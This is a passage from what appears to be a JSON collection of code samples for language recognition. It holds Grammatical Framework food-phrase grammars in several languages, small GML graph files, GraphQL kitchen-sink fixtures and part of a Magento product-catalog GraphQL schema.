{s = item.s ++ quality.s ++ \"&+\" ++ copula ! quality.softness ! quality.h} ;--! item.n} ;\n    Mod quality kind = {s = case quality.c of {\n                              Nom => \\\\t,n => quality.s ++ kind.s ! t ! n ;\n                              Gen => \\\\t,n => quality.s ++ kind.s ! Gen ! n\n                            }\n                       } ;\n    Wine = mkN \"şarap\" \"şaraplar\" \"şarabı\" \"şarapları\" ;\n    Cheese = mkN \"peynir\" \"peynirler\" \"peyniri\" \"peynirleri\" ;\n    Fish = mkN \"balık\" \"balıklar\" \"balığı\" \"balıkları\" ;\n    Pizza = mkN \"pizza\" \"pizzalar\" \"pizzası\" \"pizzaları\" ;\n    Very a = {s = \"çok\" ++ a.s ; c = a.c; softness = a.softness; h = a.h} ;\n    Fresh = adj \"taze\" Nom;\n    Warm = adj \"ılık\" Nom;\n    Italian = adj \"İtalyan\" Gen ;\n    Expensive = adj \"pahalı\" Nom;\n    Delicious = adj \"lezzetli\" Nom;\n    Boring = adj \"sıkıcı\" Nom;\n  param\n    Number = Sg | Pl ;\n    Case = Nom | Gen ;\n    Harmony = I_Har | Ih_Har | U_Har | Uh_Har ; --Ih = İ; Uh = Ü\n    Softness = Soft | Hard ;\n  oper\n    det : Number -> Str -> {s : Case => Number => Str} -> {s : Str; n : Number} =\n      \\num,det,noun -> {s = det ++ noun.s ! Nom ! num; n = num} ;\n    mkN = overload {\n      mkN : Str -> Str -> {s : Case => Number => Str} = regNoun ;\n      mkn : Str -> Str -> Str -> Str-> {s : Case => Number => Str} = noun ;\n    } ;\n    regNoun : Str -> Str -> {s : Case => Number => Str} =\n      \\peynir,peynirler -> noun peynir peynirler [] [] ;\n    noun : Str -> Str -> Str -> Str-> {s : Case => Number => Str} = \n      \\sarap,saraplar,sarabi,saraplari -> {\n        s = table {\n\t      Nom =>  table {\n\t\t\tSg => sarap ;\n\t\t\tPl => saraplar\n\t              } ;\n              Gen =>  table {\n                        Sg => sarabi ;\n\t\t\tPl => saraplari\n\t              }\n              }\n      };\n  {-\n    Since there is a bug in overloading, this overload is useless.\n\n    mkA = overload {\n      mkA : Str -> {s : Str; c : Case; softness : Softness; h : Harmony} = \\base -> adj base Nom ;\n      mkA : Str -> Case -> {s : Str; c : Case; softness : Softness; h : Harmony} = adj ;\n    } ;\n  -}\n    adj : Str -> Case -> {s : Str; c : Case; softness : Softness; h : Harmony} =\n      \\italyan,ca -> {s = italyan ; c = ca; softness = (getSoftness italyan); h = (getHarmony italyan)} ;\n    -- See the comment at lines 26 and 27 for excluded plural form of copula.\n    copula : Softness => Harmony {-=> Number-} => Str =\n      table {\n        Soft => table {\n                  I_Har => \"dır\" ;--table {\n\t\t\t   -- Sg => \"dır\" ;\n\t\t\t   -- Pl => \"dırlar\"\n\t\t  --} ;\n\t\t  Ih_Har => \"dir\" ;--table {\n\t\t\t    --Sg => \"dir\" ;\n\t\t\t    --Pl => \"dirler\"\n\t\t  --} ;\n\t\t  U_Har => \"dur\" ;--table {\n\t\t\t   -- Sg => \"dur\" ;\n\t\t\t   -- Pl => \"durlar\"\n\t\t  --} ;\n\t\t  Uh_Har => \"dür\" --table {\n\t\t\t    --Sg => \"dür\" ;\n\t\t\t    --Pl => \"dürler\"\n\t\t  --}\n        } ;\n        Hard => table {\n                  I_Har => \"tır\" ;--table {\n\t\t\t    --Sg => \"tır\" ;\n\t\t\t    --Pl => \"tırlar\"\n\t\t  --} ;\n\t\t  Ih_Har => \"tir\" ;--table {\n\t\t\t    --Sg => \"tir\" ;\n\t\t\t    --Pl => \"tirler\"\n\t\t  --} ;\n\t\t  U_Har => \"tur\" ;--table {\n\t\t\t   -- Sg => \"tur\" ;\n\t\t\t   -- Pl => \"turlar\"\n\t\t  --} ;\n\t\t  Uh_Har => \"tür\"--table {\n\t\t\t    --Sg => \"tür\" ;\n\t\t\t    --Pl => \"türler\"\n\t\t  --}\n        }\n      } ;\n\n    getHarmony : Str -> Harmony\n      = \\base -> case base of {\n                 _+c@(\"ı\"|\"a\"|\"i\"|\"e\"|\"u\"|\"o\"|\"ü\"|\"ö\")+\n                 (\"b\"|\"v\"|\"d\"|\"z\"|\"j\"|\"c\"|\"g\"|\"ğ\"|\"l\"|\"r\"|\"m\"|\"n\"|\"y\"|\"p\"|\"f\"|\"t\"|\"s\"|\"ş\"|\"ç\"|\"k\"|\"h\")* =>\n                    case c of {\n                      (\"ı\"|\"a\") => I_Har ;\n                      (\"i\"|\"e\") => Ih_Har ;\n                      (\"u\"|\"o\") => U_Har  ;\n                      (\"ü\"|\"ö\") => Uh_Har\n                    }\n        } ;\n    getSoftness : Str -> Softness\n      = \\base -> case base of {\n\t\t   _+(\"f\"|\"s\"|\"t\"|\"k\"|\"ç\"|\"ş\"|\"h\"|\"p\") => Hard ;\n\t\t   _ => Soft\n\t\t } ;\n}"
  },
  {
    "path": "samples/Grammatical Framework/FoodsUrd.gf",
    "content": "-- (c) 2009 Shafqat Virk under LGPL\r\n\r\nconcrete FoodsUrd of Foods = {\r\n\r\n  flags coding=utf8 ;\r\n\r\n  \r\n\t  param Number = Sg | Pl ;\r\n        param Gender = Masc | Fem;\r\n\t  \r\n\t oper coupla : Number -> Str =\\n -> case n of {Sg => \"ہے\" ; Pl => \"ہیں\"};\r\n\t  \r\n\t \t  \r\n      lincat\r\n        Comment = {s : Str} ; \r\n\t  Item = {s: Str ; n: Number ; g:Gender};\r\n\t  Kind = {s: Number => Str ; g:Gender};\r\n        Quality = {s: Gender => Number => Str};\r\n  \r\n   lin\r\n    Pred item quality = {s = item.s ++ quality.s ! item.g ! item.n ++  coupla item.n} ;\r\n\tThis kind = {s = \"یھ\" ++ kind.s ! Sg; n= Sg ; g = kind.g } ;\r\n\tThese kind = {s = \"یھ\" ++ kind.s ! Pl; n = Pl ; g = kind.g} ;\r\n    That kind = {s = \"وہ\"  ++ kind.s ! Sg; n= Sg ; g = kind.g} ;\r\n\tThose kind = {s = \"وہ\" ++ kind.s ! Pl; n=Pl ; g = kind.g} ;\r\n    Mod quality kind = {s = \\\\n => quality.s ! kind.g ! n  ++ kind.s ! n ;  g = kind.g};\r\n\tWine = {s = table { Sg => \"شراب\" ; Pl => \"شرابیں\"} ; g = Fem};\r\n    Cheese = {s = table { Sg => \"پنیر\" ; Pl => \"پنیریں\"} ; g = Fem};\r\n    Fish = {s = table { Sg => \"مچھلی\" ; Pl => \"مچھلیاں\"} ; g = Fem};\r\n    Pizza = {s = table { Sg => \"پیزہ\" ; Pl => \"پیزے\"} ; g = Masc};\r\n\tVery quality = {s = \\\\g,n => \"بہت\" ++ quality.s ! g ! n} ;\r\n    Fresh = regAdj \"تازہ\" ;\r\n    Warm = regAdj \"گرم\" ;\r\n    Italian = regAdj \"اٹا لوی\" ;\r\n    Expensive = regAdj \"مہنگا\" ;\r\n    Delicious = regAdj \"مزیدار\" ;\r\n    Boring = regAdj \"فضول\" ;\r\n   \r\n   oper\r\n    regAdj : Str -> {s: Gender => Number => Str} = \\a -> case a of {\r\n        x + \"ا\" => mkAdj a (x+\"ے\") (x+\"ی\");\r\n        _      => mkAdj a a a\r\n       };\r\n    mkAdj : Str -> Str -> Str -> {s: Gender => Number => Str} = \\s,p,f -> {\r\n      s = table {\r\n           Masc => table {\r\n              Sg => s;\r\n              Pl => p\r\n              };\r\n           Fem => \\\\_ => f\r\n         }\r\n       };\r\n\t}  "
  },
  {
    "path": "samples/Grammatical Framework/LexFoods.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\ninterface LexFoods = open Syntax in {\n  oper\n    wine_N : N ;\n    pizza_N : N ;\n    cheese_N : N ;\n    fish_N : N ;\n    fresh_A : A ;\n    warm_A : A ;\n    italian_A : A ;\n    expensive_A : A ;\n    delicious_A : A ;\n    boring_A : A ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/LexFoodsCat.gf",
    "content": "-- (c) 2009 Jordi Saludes under LGPL\n\ninstance LexFoodsCat of LexFoods = \n    open SyntaxCat, ParadigmsCat, (M = MorphoCat) in {\n  flags\n\tcoding = utf8 ;\n  oper\n    wine_N = mkN \"vi\" \"vins\" M.Masc ;\n    pizza_N = mkN \"pizza\" ;\n    cheese_N = mkN \"formatge\" ;\n    fish_N = mkN \"peix\" \"peixos\" M.Masc;\n    fresh_A = mkA \"fresc\" \"fresca\" \"frescos\" \"fresques\" \"frescament\";\n    warm_A = mkA \"calent\" ;\n    italian_A = mkA \"italià\" \"italiana\" \"italians\" \"italianes\" \"italianament\" ;\n    expensive_A = mkA \"car\" ;\n    delicious_A = mkA \"deliciós\" \"deliciosa\" \"deliciosos\" \"delicioses\" \"deliciosament\";\n    boring_A = mkA \"aburrit\" \"aburrida\" \"aburrits\" \"aburrides\" \"aburridament\" ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/LexFoodsFin.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\ninstance LexFoodsFin of LexFoods =\n    open SyntaxFin, ParadigmsFin in {\n  flags coding=utf8;\n  oper\n    wine_N = mkN \"viini\" ;\n    pizza_N = mkN \"pizza\" ;\n    cheese_N = mkN \"juusto\" ;\n    fish_N = mkN \"kala\" ;\n    fresh_A = mkA \"tuore\" ;\n    warm_A = mkA\n    (mkN \"lämmin\" \"lämpimän\" \"lämmintä\" \"lämpimänä\" \"lämpimään\"\n         \"lämpiminä\" \"lämpimiä\" \"lämpimien\" \"lämpimissä\" \"lämpimiin\"\n\t )\n    \"lämpimämpi\" \"lämpimin\" ;\n    italian_A = mkA \"italialainen\" ;\n    expensive_A = mkA \"kallis\" ;\n    delicious_A = mkA \"herkullinen\" ;\n    boring_A = mkA \"tylsä\" ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/LexFoodsGer.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\ninstance LexFoodsGer of LexFoods =\n    open SyntaxGer, ParadigmsGer in {\n  flags coding=utf8;\n  oper\n    wine_N = mkN \"Wein\" ;\n    pizza_N = mkN \"Pizza\" \"Pizzen\" feminine ;\n    cheese_N = mkN \"Käse\" \"Käse\" masculine ;\n    fish_N = mkN \"Fisch\" ;\n    fresh_A = mkA \"frisch\" ;\n    warm_A = mkA \"warm\" \"wärmer\" \"wärmste\" ;\n    italian_A = mkA \"italienisch\" ;\n    expensive_A = mkA \"teuer\" ;\n    delicious_A = mkA \"köstlich\" ;\n    boring_A = mkA \"langweilig\" ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/LexFoodsIta.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\ninstance LexFoodsIta of LexFoods = \n    open SyntaxIta, ParadigmsIta in {\n  oper\n    wine_N = mkN \"vino\" ;\n    pizza_N = mkN \"pizza\" ;\n    cheese_N = mkN \"formaggio\" ;\n    fish_N = mkN \"pesce\" ;\n    fresh_A = mkA \"fresco\" ;\n    warm_A = mkA \"caldo\" ;\n    italian_A = mkA \"italiano\" ;\n    expensive_A = mkA \"caro\" ;\n    delicious_A = mkA \"delizioso\" ;\n    boring_A = mkA \"noioso\" ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/LexFoodsSwe.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\ninstance LexFoodsSwe of LexFoods =\n    open SyntaxSwe, ParadigmsSwe in {\n  flags coding=utf8;\n  oper\n    wine_N = mkN \"vin\" \"vinet\" \"viner\" \"vinerna\" ;\n    pizza_N = mkN \"pizza\" ;\n    cheese_N = mkN \"ost\" ;\n    fish_N = mkN \"fisk\" ;\n    fresh_A = mkA \"färsk\" ;\n    warm_A = mkA \"varm\" ;\n    italian_A = mkA \"italiensk\" ;\n    expensive_A = mkA \"dyr\" ;\n    delicious_A = mkA \"läcker\" ;\n    boring_A = mkA \"tråkig\" ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/ResCze.gf",
    "content": "-- (c) 2011 Katerina Bohmova under LGPL\n\nresource ResCze = open Prelude in {\n  flags \n    coding = utf8 ;\n  param\n    Number = Sg | Pl ;\n    Gender = Masc | Fem | Neutr;\n  oper\n    NounPhrase : Type = \n      {s : Str ; g : Gender ; n : Number} ; \n    Noun : Type = {s : Number => Str ; g : Gender} ;\n    Adjective : Type = {s : Gender => Number => Str} ;\n\n    det : Number -> Str -> Str -> Str -> Noun -> NounPhrase =\n      \\n,m,f,ne,cn -> {\n        s = table {Masc => m ; Fem => f; Neutr => ne} ! cn.g ++ \n            cn.s ! n ;\n        g = cn.g ;\n        n = n\n      } ;\n    noun : Str -> Str -> Gender -> Noun =\n      \\muz,muzi,g -> {\n        s = table {Sg => muz ; Pl => muzi} ;\n        g = g\n      } ;\n    adjective : (msg,fsg,nsg,mpl,fpl,npl : Str) -> Adjective =\n      \\msg,fsg,nsg,mpl,fpl,npl -> {\n        s = table {\n          Masc => table {Sg => msg ; Pl => mpl} ; \n          Fem => table {Sg => fsg ; Pl => fpl}  ;\n          Neutr => table {Sg => nsg ; Pl => npl}\n          }\n        } ;\n    regAdj : Str -> Adjective = \n      \\mlad ->\n      adjective (mlad+\"ý\") (mlad+\"á\") (mlad+\"é\")\n\t\t (mlad+\"é\") (mlad+\"é\") (mlad+\"á\") ;\n    regnfAdj : Str -> Adjective = \n      \\vynikajici ->\n      adjective vynikajici vynikajici vynikajici \n\t\tvynikajici vynikajici vynikajici;\n    copula : Number => Str = \n      table {Sg => \"je\" ; Pl => \"jsou\"} ;\n}\n\n"
  },
  {
    "path": "samples/Grammatical Framework/transFoodsHin.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\nconcrete FoodsHin of Foods = {\n\n  flags coding=utf8 ;\n\n  param\n    Gender = Masc | Fem ;\n    Number = Sg | Pl ;\n  lincat\n    Comment = {s : Str} ;\n    Item    = {s : Str ; g : Gender ; n : Number} ;\n    Kind    = {s : Number => Str ; g : Gender} ;\n    Quality = {s : Gender => Number => Str} ;\n  lin\n    Pred item quality = {\n      s = item.s ++ quality.s ! item.g ! item.n ++ copula item.n\n      } ;\n    This kind = {s = \"yah\" ++ kind.s ! Sg ; g = kind.g ; n = Sg} ;\n    That kind = {s = \"vah\" ++ kind.s ! Sg ; g = kind.g ; n = Sg} ;\n    These kind = {s = \"ye\" ++ kind.s ! Pl ; g = kind.g ; n = Pl} ;\n    Those kind = {s = \"ve\" ++ kind.s ! Pl ; g = kind.g ; n = Pl} ;\n    Mod quality kind = {\n      s = \\\\n => quality.s ! kind.g ! n ++ kind.s ! n ; \n      g = kind.g\n      } ;\n    Wine = regN \"madirA\" ;\n    Cheese = regN \"panIr\" ;\n    Fish = regN \"maClI\" ;\n    Pizza = regN \"pijjA\" ;\n    Very quality = {s = \\\\g,n => \"bahut\" ++ quality.s ! g ! n} ;\n    Fresh = regAdj \"tAzA\" ;\n    Warm = regAdj \"garam\" ;\n    Italian = regAdj \"i-t.alI\" ; \n    Expensive = regAdj \"mahaNgA\" ;\n    Delicious = regAdj \"rucikar\" ;\n    Boring = regAdj \"pEriyA\" ;\n\n  oper\n    mkN : Str -> Str -> Gender -> {s : Number => Str ; g : Gender} = \n      \\s,p,g -> {\n        s = table {\n          Sg => s ;\n          Pl => p\n          } ;\n        g = g\n      } ;\n\n    regN : Str -> {s : Number => Str ; g : Gender} = \\s -> case s of {\n      lark + \"A\" => mkN s (lark + \"e\") Masc ;\n      lark + \"I\" => mkN s (lark + \"iyaM\") Fem ;\n      _           => mkN s s Masc \n      } ;\n\n    mkAdj : Str -> Str -> Str -> {s : Gender => Number => Str} = \\ms,mp,f -> {\n      s = table {\n        Masc => table {\n          Sg => ms ;\n          Pl => mp\n          } ;\n        Fem  => \\\\_ => f\n        }\n      } ;\n\n    regAdj : Str -> {s : Gender => Number => Str} = \\a -> case a of {\n      acch + \"A\" => mkAdj a (acch + \"e\") (acch + \"I\") ;\n      _          => mkAdj a a a\n      } ;\n\n    copula : Number -> Str = \\n -> case n of {\n      Sg => \"hE\" ;\n      Pl => \"hEN\"\n      } ;\n\n  }\n"
  },
  {
    "path": "samples/Graph Modeling Language/sample.gml",
    "content": "graph\n[\n  directed 0\n  node\n  [\n    id 0\n    label \"Node 1\"\n    value 100\n  ]\n  node\n  [\n    id 1\n    label \"Node 2\"\n    value 200\n  ]\n  edge\n  [\n    source 1\n    target 0\n  ]\n]\n"
  },
  {
    "path": "samples/Graph Modeling Language/sample2.gml",
    "content": "graph [\n    comment \"Example graph with other formatting\"\n    directed 1\n    id 42\n    label \"Graph label\"\n    node [\n        id 1\n        label \"Node 1\"\n        extraAttribute 42\n    ]\n    node [\n        id 2\n        label \"node 2\"\n        extraAttribute 43\n    ]\n    node [\n        id 3\n        label \"node 3\"\n        extraAttribute 44\n    ]\n    edge [\n        source 1\n        target 2\n        label \"Edge from 1 to 2\"\n    ]\n    edge [\n        source 2\n        target 3\n        label \"Edge from 2 to 3\"\n    ]\n    edge [\n        source 3\n        target 1\n        label \"Edge from 3 to 1\"\n    ]\n]\n"
  },
  {
    "path": "samples/Graph Modeling Language/sample3.gml",
    "content": "graph \n[\n    comment \"Example graph with more newline formatting\"\n    directed 1\n    id 42\n    label \"Graph label\"\n    node \n    [\n        id 1\n        label \"Node 1\"\n        extraAttribute 42\n    ]\n    node \n    [\n        id 2\n        label \"node 2\"\n        extraAttribute 43\n    ]\n    node \n    [\n        id 3\n        label \"node 3\"\n        extraAttribute 44\n    ]\n    edge \n    [\n        source 1\n        target 2\n        label \"Edge from 1 to 2\"\n    ]\n    edge \n    [\n        source 2\n        target 3\n        label \"Edge from 2 to 3\"\n    ]\n    edge \n    [\n        source 3\n        target 1\n        label \"Edge from 3 to 1\"\n    ]\n]\n"
  },
  {
    "path": "samples/GraphQL/kitchen-sink.graphql",
    "content": "# Copyright (c) 2015, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\nquery queryName($foo: ComplexType, $site: Site = MOBILE) {\n  whoever123is: node(id: [123, 456]) {\n    id ,\n    ... on User @defer {\n      field2 {\n        id ,\n        alias: field1(first:10, after:$foo,) @include(if: $foo) {\n          id,\n          ...frag\n        }\n      }\n    }\n    ... @skip(unless: $foo) {\n      id\n    }\n    ... {\n      id\n    }\n  }\n}\n\nmutation likeStory {\n  like(story: 123) @defer {\n    story {\n      id\n    }\n  }\n}\n\nsubscription StoryLikeSubscription($input: StoryLikeSubscribeInput) {\n  storyLikeSubscribe(input: $input) {\n    story {\n      likers {\n        count\n      }\n      likeSentence {\n        text\n      }\n    }\n  }\n}\n\nfragment frag on Friend {\n  foo(size: $size, bar: $b, obj: {key: \"value\"})\n}\n\n{\n  unnamed(truthy: true, falsey: false),\n  query\n}\n"
  },
  {
    "path": "samples/GraphQL/schema-kitchen-sink.graphql",
    "content": "# Copyright (c) 2015, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\nschema {\n  query: QueryType\n  mutation: MutationType\n}\n\ntype Foo implements Bar {\n  one: Type\n  two(argument: InputType!): Type\n  three(argument: InputType, other: String): Int\n  four(argument: String = \"string\"): String\n  five(argument: [String] = [\"string\", \"string\"]): String\n  six(argument: InputType = {key: \"value\"}): Type\n}\n\ninterface Bar {\n  one: Type\n  four(argument: String = \"string\"): String\n}\n\nunion Feed = Story | Article | Advert\n\nscalar CustomScalar\n\nenum Site {\n  DESKTOP\n  MOBILE\n}\n\ninput InputType {\n  key: String!\n  answer: Int = 42\n}\n\nextend type Foo {\n  seven(argument: [String]): Type\n}\n\ndirective @skip(if: Boolean!) on FIELD | FRAGMENT_SPREAD | INLINE_FRAGMENT\n\ndirective @include(if: Boolean!)\n  on FIELD\n   | FRAGMENT_SPREAD\n   | INLINE_FRAGMENT\n"
  },
  {
    "path": "samples/GraphQL/schema-kitchen-sink.graphqls",
    "content": "schema {\n  query: QueryType\n  mutation: MutationType\n}\n\n\"\"\"\nThis is a description\nof the `Foo` type.\n\"\"\"\ntype Foo implements Bar & Baz {\n  one: Type\n  two(argument: InputType!): Type\n  three(argument: InputType, other: String): Int\n  four(argument: String = \"string\"): String\n  five(argument: [String] = [\"string\", \"string\"]): String\n  six(argument: InputType = {key: \"value\"}): Type\n  seven(argument: Int = null): Type\n}\n\ntype AnnotatedObject @onObject(arg: \"value\") {\n  annotatedField(arg: Type = \"default\" @onArg): Type @onField\n}\n\ntype UndefinedType\n\nextend type Foo {\n  seven(argument: [String]): Type\n}\n\nextend type Foo @onType\n\ninterface Bar {\n  one: Type\n  four(argument: String = \"string\"): String\n}\n\ninterface AnnotatedInterface @onInterface {\n  annotatedField(arg: Type @onArg): Type @onField\n}\n\ninterface UndefinedInterface\n\nextend interface Bar {\n  two(argument: InputType!): Type\n}\n\nextend interface Bar @onInterface\n\nunion Feed = Story | Article | Advert\n\nunion AnnotatedUnion @onUnion = A | B\n\nunion AnnotatedUnionTwo @onUnion = | A | B\n\nunion UndefinedUnion\n\nextend union Feed = Photo | Video\n\nextend union Feed @onUnion\n\nscalar CustomScalar\n\nscalar AnnotatedScalar @onScalar\n\nextend scalar CustomScalar @onScalar\n\nenum Site {\n  DESKTOP\n  MOBILE\n}\n\nenum AnnotatedEnum @onEnum {\n  ANNOTATED_VALUE @onEnumValue\n  OTHER_VALUE\n}\n\nenum UndefinedEnum\n\nextend enum Site {\n  VR\n}\n\nextend enum Site @onEnum\n\ninput InputType {\n  key: String!\n  answer: Int = 42\n}\n\ninput AnnotatedInput @onInputObject {\n  annotatedField: Type @onField\n}\n\ninput UndefinedInput\n\nextend input InputType {\n  other: Float = 1.23e4\n}\n\nextend input InputType @onInputObject\n\ndirective @skip(if: Boolean!) on FIELD | FRAGMENT_SPREAD | INLINE_FRAGMENT\n\ndirective @include(if: Boolean!)\n  on FIELD\n    | FRAGMENT_SPREAD\n    | INLINE_FRAGMENT\n\ndirective @include2(if: Boolean!) on\n  | FIELD\n  | FRAGMENT_SPREAD\n  | INLINE_FRAGMENT\n"
  },
  {
    "path": "samples/GraphQL/schema.graphqls",
    "content": "# Copyright © Magento, Inc. All rights reserved.\n# See COPYING.txt for license details.\n\ntype Query {\n    products (\n        search: String @doc(description: \"Performs a full-text search using the specified key words.\"),\n        filter: ProductFilterInput @doc(description: \"Identifies which product attributes to search for and return.\"),\n        pageSize: Int = 20 @doc(description: \"Specifies the maximum number of results to return at once. This attribute is optional.\"),\n        currentPage: Int = 1 @doc(description: \"Specifies which page of results to return. The default value is 1.\"),\n        sort: ProductSortInput @doc(description: \"Specifies which attribute to sort on, and whether to return the results in ascending or descending order.\")\n     ): Products\n     @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Products\") @doc(description: \"The products query searches for products that match the criteria specified in the search and filter attributes\") @cache(cacheTag: \"cat_p\", cacheIdentity: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\Identity\")\n    category (\n        id: Int @doc(description: \"Id of the category\")\n    ): CategoryTree\n    @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\CategoryTree\") @doc(description: \"The category query searches for categories that match the criteria specified in the search and filter attributes\") @cache(cacheTag: \"cat_c\", cacheIdentity: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\CategoryTreeIdentity\")\n}\n\ntype Price @doc(description: \"The Price object defines the price of a product as well as any tax-related adjustments.\") {\n    amount: Money @doc(description: \"The price of a product plus a three-letter currency code\")\n    adjustments: [PriceAdjustment] @doc(description: \"An array that provides information about tax, weee, or weee_tax adjustments\")\n}\n\ntype PriceAdjustment @doc(description: \"The PricedAdjustment object defines the amount of money to apply as an adjustment, the type of adjustment to apply, and whether the item is included or excluded from the adjustment.\") {\n    amount: Money @doc(description: \"The amount of the price adjustment and its currency code\")\n    code: PriceAdjustmentCodesEnum @doc(description: \"Indicates whether the adjustment involves tax, weee, or weee_tax\")\n    description: PriceAdjustmentDescriptionEnum @doc(description: \"Indicates whether the entity described by the code attribute is included or excluded from the adjustment\")\n}\n\nenum PriceAdjustmentCodesEnum @doc(description: \"Note: This enumeration contains values defined in modules other than the Catalog module.\") {\n}\n\nenum PriceAdjustmentDescriptionEnum @doc(description: \"This enumeration states whether a price adjustment is included or excluded.\") {\n    INCLUDED\n    EXCLUDED\n}\n\nenum PriceTypeEnum @doc(description: \"This enumeration the price type.\") {\n    FIXED\n    PERCENT\n    DYNAMIC\n}\n\ntype ProductPrices @doc(description: \"The ProductPrices object contains the regular price of an item, as well as its minimum and maximum prices. Only composite products, which include bundle, configurable, and grouped products, can contain a minimum and maximum price.\") {\n    minimalPrice: Price @doc(description: \"The lowest possible final price for all the options defined within a composite product. If you are specifying a price range, this would be the from value.\")\n    maximalPrice: Price @doc(description: \"The highest possible final price for all the options defined within a composite product. If you are specifying a price range, this would be the to value.\")\n    regularPrice: Price @doc(description: \"The base price of a product.\")\n}\n\ntype ProductLinks implements ProductLinksInterface @doc(description: \"ProductLinks is an implementation of ProductLinksInterface.\") {\n}\n\ninterface ProductLinksInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\ProductLinkTypeResolverComposite\") @doc(description:\"ProductLinks contains information about linked products, including the link type and product type of each item.\") {\n    sku: String @doc(description: \"The identifier of the linked product\")\n    link_type: String @doc(description: \"One of related, associated, upsell, or crosssell\")\n    linked_product_sku: String @doc(description: \"The SKU of the linked product\")\n    linked_product_type: String @doc(description: \"The type of linked product (simple, virtual, bundle, downloadable, grouped, configurable)\")\n    position: Int @doc(description: \"The position within the list of product links\")\n}\n\ntype ProductTierPrices @doc(description: \"The ProductTierPrices object defines a tier price, which is a quantity discount offered to a specific customer group.\") {\n    customer_group_id: String @doc(description: \"The ID of the customer group\")\n    qty: Float @doc(description: \"The number of items that must be purchased to qualify for tier pricing\")\n    value: Float @doc(description: \"The price of the fixed price item\")\n    percentage_value: Float @doc(description: \"The percentage discount of the item\")\n    website_id: Float @doc(description: \"The ID assigned to the website\")\n}\n\ninterface ProductInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\ProductInterfaceTypeResolverComposite\") @doc(description: \"The ProductInterface contains attributes that are common to all types of products. Note that descriptions may not be available for custom and EAV attributes.\") {\n    id: Int @doc(description: \"The ID number assigned to the product\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\EntityIdToId\")\n    name: String @doc(description: \"The product name. Customers use this name to identify the product.\")\n    sku: String @doc(description: \"A number or code assigned to a product to identify the product, options, price, and manufacturer\")\n    description: ComplexTextValue @doc(description: \"Detailed information about the product. The value can include simple HTML tags.\") @resolver(class: \"\\\\Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductComplexTextAttribute\")\n    short_description: ComplexTextValue @doc(description: \"A short description of the product. Its use depends on the theme.\") @resolver(class: \"\\\\Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductComplexTextAttribute\")\n    special_price: Float @doc(description: \"The discounted price of the product\")\n    special_from_date: String @doc(description: \"The beginning date that a product has a special price\")\n    special_to_date: String @doc(description: \"The end date that a product has a special price\")\n    attribute_set_id: Int @doc(description: \"The attribute set assigned to the product\")\n    meta_title: String @doc(description: \"A string that is displayed in the title bar and tab of the browser and in search results lists\")\n    meta_keyword: String @doc(description: \"A comma-separated list of keywords that are visible only to search engines\")\n    meta_description: String @doc(description: \"A brief overview of the product for search results listings, maximum 255 characters\")\n    image: ProductImage @doc(description: \"The relative path to the main image on the product page\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductImage\")\n    small_image: ProductImage @doc(description: \"The relative path to the small image, which is used on catalog pages\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductImage\")\n    thumbnail: ProductImage @doc(description: \"The relative path to the product's thumbnail image\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductImage\")\n    new_from_date: String @doc(description: \"The beginning date for new product listings, and determines if the product is featured as a new product\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\NewFromTo\")\n    new_to_date: String @doc(description: \"The end date for new product listings\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\NewFromTo\")\n    tier_price: Float @doc(description: \"The price when tier pricing is in effect and the items purchased threshold has been reached\")\n    options_container: String @doc(description: \"If the product has multiple options, determines where they appear on the product page\")\n    created_at: String @doc(description: \"Timestamp indicating when the product was created\")\n    updated_at: String @doc(description: \"Timestamp indicating when the product was updated\")\n    country_of_manufacture: String @doc(description: \"The product's country of origin\")\n    type_id: String @doc(description: \"One of simple, virtual, bundle, downloadable, grouped, or configurable\")\n    websites: [Website] @doc(description: \"An array of websites in which the product is available\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\Websites\")\n    product_links: [ProductLinksInterface] @doc(description: \"An array of ProductLinks objects\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductLinks\")\n    media_gallery_entries: [MediaGalleryEntry] @doc(description: \"An array of MediaGalleryEntry objects\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\MediaGalleryEntries\")\n    tier_prices: [ProductTierPrices] @doc(description: \"An array of ProductTierPrices objects\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\TierPrices\")\n    price: ProductPrices @doc(description: \"A 